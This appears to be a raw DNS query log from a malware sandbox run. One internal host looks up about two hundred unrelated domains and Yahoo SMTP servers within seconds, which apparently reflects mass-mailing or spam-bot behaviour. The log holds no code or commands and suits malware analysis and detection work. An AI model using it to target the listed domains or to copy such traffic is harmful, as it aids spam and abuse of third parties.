May 31, 2023 14:51:50.182698965 CEST	192.168.2.3	8.8.8.8	0xa2f8	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.219770908 CEST	192.168.2.3	8.8.8.8	0x5657	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.408710003 CEST	192.168.2.3	8.8.8.8	0x3a3f	Standard query (0)	smtp.sbcglobal.yahoo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.606955051 CEST	192.168.2.3	8.8.8.8	0xb2ff	Standard query (0)	vvsteknik.dk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.608169079 CEST	192.168.2.3	8.8.8.8	0x86a1	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.832545996 CEST	192.168.2.3	8.8.8.8	0xfb28	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.846688986 CEST	192.168.2.3	8.8.8.8	0x8e67	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.860153913 CEST	192.168.2.3	8.8.8.8	0xccf2	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.862530947 CEST	192.168.2.3	8.8.8.8	0xba10	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.863881111 CEST	192.168.2.3	8.8.8.8	0x343a	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:50.902879953 CEST	192.168.2.3	8.8.8.8	0x3d5	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.002042055 CEST	192.168.2.3	8.8.8.8	0x286d	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.126782894 CEST	192.168.2.3	8.8.8.8	0x572b	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.209008932 CEST	192.168.2.3	8.8.8.8	0x67e5	Standard query (0)	smtp.sbcglobal.yahoo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.240291119 CEST	192.168.2.3	8.8.8.8	0x322b	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.256791115 CEST	192.168.2.3	8.8.8.8	0xa718	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.268671989 CEST	192.168.2.3	8.8.8.8	0x2f08	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.272500992 CEST	192.168.2.3	8.8.8.8	0xb5b1	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.308648109 CEST	192.168.2.3	8.8.8.8	0x120c	Standard query (0)	gujarat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.311419964 CEST	192.168.2.3	8.8.8.8	0xcb00	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.311419964 CEST	192.168.2.3	8.8.8.8	0xa2dd	Standard query (0)	hbfuels.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.313092947 CEST	192.168.2.3	8.8.8.8	0xa4bf	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.314476967 CEST	192.168.2.3	8.8.8.8	0xe756	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.316075087 CEST	192.168.2.3	8.8.8.8	0x2320	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.335499048 CEST	192.168.2.3	8.8.8.8	0x4f13	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.338543892 CEST	192.168.2.3	8.8.8.8	0x323d	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.387888908 CEST	192.168.2.3	8.8.8.8	0xa790	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.390783072 CEST	192.168.2.3	8.8.8.8	0x232e	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.394505978 CEST	192.168.2.3	8.8.8.8	0xa612	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.404807091 CEST	192.168.2.3	8.8.8.8	0x34b9	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.431708097 CEST	192.168.2.3	8.8.8.8	0xb12f	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.441301107 CEST	192.168.2.3	8.8.8.8	0xcfa	Standard query (0)	www.diamir.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.462270021 CEST	192.168.2.3	8.8.8.8	0x17b4	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.496766090 CEST	192.168.2.3	8.8.8.8	0xb43e	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.508801937 CEST	192.168.2.3	8.8.8.8	0xdab5	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.529486895 CEST	192.168.2.3	8.8.8.8	0x50ed	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.648709059 CEST	192.168.2.3	8.8.8.8	0x55ab	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.685709953 CEST	192.168.2.3	8.8.8.8	0xff12	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.712328911 CEST	192.168.2.3	8.8.8.8	0xc33b	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.747383118 CEST	192.168.2.3	8.8.8.8	0x9e16	Standard query (0)	hyab.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.773886919 CEST	192.168.2.3	8.8.8.8	0xe7f8	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.776824951 CEST	192.168.2.3	8.8.8.8	0xf244	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.799252987 CEST	192.168.2.3	8.8.8.8	0x837f	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.799253941 CEST	192.168.2.3	8.8.8.8	0xdfdc	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.824338913 CEST	192.168.2.3	8.8.8.8	0xab1c	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.850435972 CEST	192.168.2.3	8.8.8.8	0x4340	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.893872976 CEST	192.168.2.3	8.8.8.8	0xb658	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.947307110 CEST	192.168.2.3	8.8.8.8	0xacdd	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.950434923 CEST	192.168.2.3	8.8.8.8	0x1961	Standard query (0)	fr-dat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.991977930 CEST	192.168.2.3	8.8.8.8	0xc904	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.993314028 CEST	192.168.2.3	8.8.8.8	0xef56	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.037432909 CEST	192.168.2.3	8.8.8.8	0x9b50	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.038419008 CEST	192.168.2.3	8.8.8.8	0xd85a	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.048177004 CEST	192.168.2.3	8.8.8.8	0x9a78	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.049628019 CEST	192.168.2.3	8.8.8.8	0x963e	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.195297003 CEST	192.168.2.3	8.8.8.8	0x92f8	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.237303972 CEST	192.168.2.3	8.8.8.8	0x7b9c	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.240685940 CEST	192.168.2.3	8.8.8.8	0x145d	Standard query (0)	deckoviny.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.262186050 CEST	192.168.2.3	8.8.8.8	0x322b	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.278963089 CEST	192.168.2.3	8.8.8.8	0xc365	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.406259060 CEST	192.168.2.3	8.8.8.8	0x4b69	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.443423986 CEST	192.168.2.3	8.8.8.8	0xed1b	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.562371016 CEST	192.168.2.3	8.8.8.8	0xe599	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.567164898 CEST	192.168.2.3	8.8.8.8	0xab47	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.665416956 CEST	192.168.2.3	8.8.8.8	0x6bc7	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.675255060 CEST	192.168.2.3	8.8.8.8	0x901a	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.799216986 CEST	192.168.2.3	8.8.8.8	0x8225	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.899785042 CEST	192.168.2.3	8.8.8.8	0xe9b6	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.937308073 CEST	192.168.2.3	8.8.8.8	0xd67c	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.005064011 CEST	192.168.2.3	8.8.8.8	0x9708	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.013258934 CEST	192.168.2.3	8.8.8.8	0xef56	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.018616915 CEST	192.168.2.3	8.8.8.8	0xbf5d	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.042169094 CEST	192.168.2.3	8.8.8.8	0xc60a	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.060280085 CEST	192.168.2.3	8.8.8.8	0xdaf0	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.135127068 CEST	192.168.2.3	8.8.8.8	0x9bfa	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.187125921 CEST	192.168.2.3	8.8.8.8	0x6088	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.238699913 CEST	192.168.2.3	8.8.8.8	0xcec8	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.261934996 CEST	192.168.2.3	8.8.8.8	0x322b	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.285166979 CEST	192.168.2.3	8.8.8.8	0x13a2	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.431819916 CEST	192.168.2.3	8.8.8.8	0xc330	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.439066887 CEST	192.168.2.3	8.8.8.8	0xa07b	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.482343912 CEST	192.168.2.3	8.8.8.8	0x5800	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.505413055 CEST	192.168.2.3	8.8.8.8	0x2fed	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.516222954 CEST	192.168.2.3	8.8.8.8	0xc5ad	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.543114901 CEST	192.168.2.3	8.8.8.8	0x7d51	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.600313902 CEST	192.168.2.3	8.8.8.8	0x8628	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.833177090 CEST	192.168.2.3	8.8.8.8	0x7c9d	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.872874975 CEST	192.168.2.3	8.8.8.8	0xeda6	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.948472977 CEST	192.168.2.3	8.8.8.8	0xc4a2	Standard query (0)	nels.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.007344961 CEST	192.168.2.3	8.8.8.8	0x3e4d	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.363413095 CEST	192.168.2.3	8.8.8.8	0x55a9	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.405812979 CEST	192.168.2.3	8.8.8.8	0x6ff1	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.754297018 CEST	192.168.2.3	8.8.8.8	0x86b3	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.796091080 CEST	192.168.2.3	8.8.8.8	0xa984	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.819034100 CEST	192.168.2.3	8.8.8.8	0x8296	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.300023079 CEST	192.168.2.3	8.8.8.8	0xe902	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.312561989 CEST	192.168.2.3	8.8.8.8	0x58d	Standard query (0)	dyag-eng.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.314258099 CEST	192.168.2.3	8.8.8.8	0xff14	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.451169968 CEST	192.168.2.3	8.8.8.8	0x9ce2	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.454124928 CEST	192.168.2.3	8.8.8.8	0x55f	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.457294941 CEST	192.168.2.3	8.8.8.8	0x45fa	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.675849915 CEST	192.168.2.3	8.8.8.8	0xe814	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.720247984 CEST	192.168.2.3	8.8.8.8	0xe8f3	Standard query (0)	smtp.mail.yahoo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.781099081 CEST	192.168.2.3	8.8.8.8	0xd2e6	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.931642056 CEST	192.168.2.3	8.8.8.8	0x666d	Standard query (0)	adeesa.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:56.739968061 CEST	192.168.2.3	8.8.8.8	0x8301	Standard query (0)	kumaden.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:57.826330900 CEST	192.168.2.3	8.8.8.8	0xda37	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:57.838123083 CEST	192.168.2.3	8.8.8.8	0xa1ca	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:57.839454889 CEST	192.168.2.3	8.8.8.8	0x4560	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:57.979675055 CEST	192.168.2.3	8.8.8.8	0xc9bd	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.045217037 CEST	192.168.2.3	8.8.8.8	0x7505	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.045692921 CEST	192.168.2.3	8.8.8.8	0xbff5	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.046264887 CEST	192.168.2.3	8.8.8.8	0x2f8b	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.047040939 CEST	192.168.2.3	8.8.8.8	0x3e6d	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.047683001 CEST	192.168.2.3	8.8.8.8	0x3d15	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.047894955 CEST	192.168.2.3	8.8.8.8	0x39d3	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.050223112 CEST	192.168.2.3	8.8.8.8	0xa74c	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.051129103 CEST	192.168.2.3	8.8.8.8	0x4036	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.053297997 CEST	192.168.2.3	8.8.8.8	0x3521	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.055023909 CEST	192.168.2.3	8.8.8.8	0xd238	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.055541039 CEST	192.168.2.3	8.8.8.8	0xd1b1	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.055958033 CEST	192.168.2.3	8.8.8.8	0xbbf8	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.057336092 CEST	192.168.2.3	8.8.8.8	0x1a50	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.063595057 CEST	192.168.2.3	8.8.8.8	0xffeb	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.080779076 CEST	192.168.2.3	8.8.8.8	0xc77c	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.083358049 CEST	192.168.2.3	8.8.8.8	0x17e5	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.086812973 CEST	192.168.2.3	8.8.8.8	0xd70e	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.123204947 CEST	192.168.2.3	8.8.8.8	0xa292	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.125837088 CEST	192.168.2.3	8.8.8.8	0xb051	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.128360987 CEST	192.168.2.3	8.8.8.8	0x5347	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.129837990 CEST	192.168.2.3	8.8.8.8	0x1ea9	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.130806923 CEST	192.168.2.3	8.8.8.8	0xcb7	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.130806923 CEST	192.168.2.3	8.8.8.8	0xf738	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.136286974 CEST	192.168.2.3	8.8.8.8	0x8797	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.141515970 CEST	192.168.2.3	8.8.8.8	0xb2c0	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.141515970 CEST	192.168.2.3	8.8.8.8	0xb800	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.143145084 CEST	192.168.2.3	8.8.8.8	0x11b0	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.143146038 CEST	192.168.2.3	8.8.8.8	0x8b16	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.143958092 CEST	192.168.2.3	8.8.8.8	0xbc05	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.143959045 CEST	192.168.2.3	8.8.8.8	0xc58f	Standard query (0)	vvsteknik.dk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.189307928 CEST	192.168.2.3	8.8.8.8	0x7ef0	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.189307928 CEST	192.168.2.3	8.8.8.8	0xa2dc	Standard query (0)	sinwal.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.191299915 CEST	192.168.2.3	8.8.8.8	0x95d6	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.191299915 CEST	192.168.2.3	8.8.8.8	0x59f8	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.192776918 CEST	192.168.2.3	8.8.8.8	0xea92	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.193491936 CEST	192.168.2.3	8.8.8.8	0xf6ca	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.199594975 CEST	192.168.2.3	8.8.8.8	0x305b	Standard query (0)	amic.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.217025042 CEST	192.168.2.3	8.8.8.8	0x414	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.239809036 CEST	192.168.2.3	8.8.8.8	0x3c13	Standard query (0)	fundeo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.252289057 CEST	192.168.2.3	8.8.8.8	0xb449	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.259948015 CEST	192.168.2.3	8.8.8.8	0xd9ef	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.262191057 CEST	192.168.2.3	8.8.8.8	0x242c	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.267199993 CEST	192.168.2.3	8.8.8.8	0x73f2	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.267643929 CEST	192.168.2.3	8.8.8.8	0x2a6b	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.273988962 CEST	192.168.2.3	8.8.8.8	0x3a47	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.298198938 CEST	192.168.2.3	8.8.8.8	0x2dd9	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.305983067 CEST	192.168.2.3	8.8.8.8	0x5797	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.308316946 CEST	192.168.2.3	8.8.8.8	0x6de6	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.314151049 CEST	192.168.2.3	8.8.8.8	0xbd1c	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.318516970 CEST	192.168.2.3	8.8.8.8	0xcc76	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.323821068 CEST	192.168.2.3	8.8.8.8	0x821f	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.326395988 CEST	192.168.2.3	8.8.8.8	0xbd3e	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.326395988 CEST	192.168.2.3	8.8.8.8	0xb15f	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.327712059 CEST	192.168.2.3	8.8.8.8	0xc3d6	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.329570055 CEST	192.168.2.3	8.8.8.8	0x9dc2	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.333406925 CEST	192.168.2.3	8.8.8.8	0x3106	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.344419956 CEST	192.168.2.3	8.8.8.8	0xae47	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.358939886 CEST	192.168.2.3	8.8.8.8	0x9e7f	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.361490965 CEST	192.168.2.3	8.8.8.8	0x71cf	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.363751888 CEST	192.168.2.3	8.8.8.8	0xfc67	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.375039101 CEST	192.168.2.3	8.8.8.8	0x516f	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.381211996 CEST	192.168.2.3	8.8.8.8	0xad22	Standard query (0)	nts-web.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.381211996 CEST	192.168.2.3	8.8.8.8	0xe014	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.406198978 CEST	192.168.2.3	8.8.8.8	0xb09c	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.411990881 CEST	192.168.2.3	8.8.8.8	0x9f52	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.418562889 CEST	192.168.2.3	8.8.8.8	0xb582	Standard query (0)	mackusick.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.426275015 CEST	192.168.2.3	8.8.8.8	0x3d4	Standard query (0)	usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.439944983 CEST	192.168.2.3	8.8.8.8	0xd61c	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.444538116 CEST	192.168.2.3	8.8.8.8	0xe7e3	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.448554039 CEST	192.168.2.3	8.8.8.8	0x5b21	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.459585905 CEST	192.168.2.3	8.8.8.8	0x23e3	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.490370989 CEST	192.168.2.3	8.8.8.8	0xa9c0	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.491849899 CEST	192.168.2.3	8.8.8.8	0x8d7d	Standard query (0)	indonesiamedia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.505461931 CEST	192.168.2.3	8.8.8.8	0x959e	Standard query (0)	vvsteknik.dk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.538324118 CEST	192.168.2.3	8.8.8.8	0x38d3	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.557476997 CEST	192.168.2.3	8.8.8.8	0x9538	Standard query (0)	techtrans.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.559417963 CEST	192.168.2.3	8.8.8.8	0x5d01	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.590718031 CEST	192.168.2.3	8.8.8.8	0x2670	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.602905989 CEST	192.168.2.3	8.8.8.8	0x2862	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.602905989 CEST	192.168.2.3	8.8.8.8	0x8e91	Standard query (0)	flamingorecordings.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.605937958 CEST	192.168.2.3	8.8.8.8	0x12e0	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.627559900 CEST	192.168.2.3	8.8.8.8	0x16c4	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.633172989 CEST	192.168.2.3	8.8.8.8	0xbb95	Standard query (0)	coxkitchensandbaths.com	A (IP address)	IN (0x0001)	false
